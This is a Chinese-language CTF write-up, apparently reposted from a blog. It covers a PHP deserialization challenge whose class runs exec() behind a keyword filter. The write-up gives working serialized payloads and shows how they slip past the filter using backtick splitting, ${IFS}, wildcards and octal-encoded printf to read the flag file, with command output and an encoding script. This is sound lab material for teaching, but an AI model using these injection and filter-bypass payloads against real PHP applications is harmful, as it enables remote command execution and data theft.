<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
首先上我的payload:
<?php
class ease{
private $method = 'ping';
private $args = array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
}
$a = new ease();
$b = serialize($a);
//echo $b;
echo "<br>";
echo base64_encode($b);
?>
下面一步一步讲解:
首先:
php的反序列化不说了(看懂代码),注意一个小点是这里的args必须是一个数组形式,因为__wakeup函数。
当然了,写我们的具体payload之前进行一个简单的小测试来确保我们的后续payload“确定”能够正常运行,很简单,只要修改如下即可:
private $args = array('id');
然后提交我们的payload发现可以正常执行。
下一步:获取一下目录文件(这里的过滤绕过方法很多,别局限。)
private $args = array('l``s');
得到如下结果:
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
再次ls一下(万一flag那个东西是目录):
private $args = array('l``s${IFS}fl?g_1s_here');
得到如下结果:
array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
接下来的问题是如何获取内容呢,过滤了 & 和 / 这就很麻烦咯。
做个实验:先看结果
$()这个不用多说,重要的是里面的\154\163这是反斜杠加了八进制ascill码154==l,163==s。
附上我的字符串转8进制脚本如下:
str = 'cat flag_1s_here/flag_831b69012c67b35f.php'
for i in str:
print(oct(ord(i)).replace('0o','\\'),end='')
\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
修改payload如下:
private $args = array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
然后运行提交即可。
原文地址:http://www.cnblogs.com/meng-han/p/16815618.html
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,请务用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员!
8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载
声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性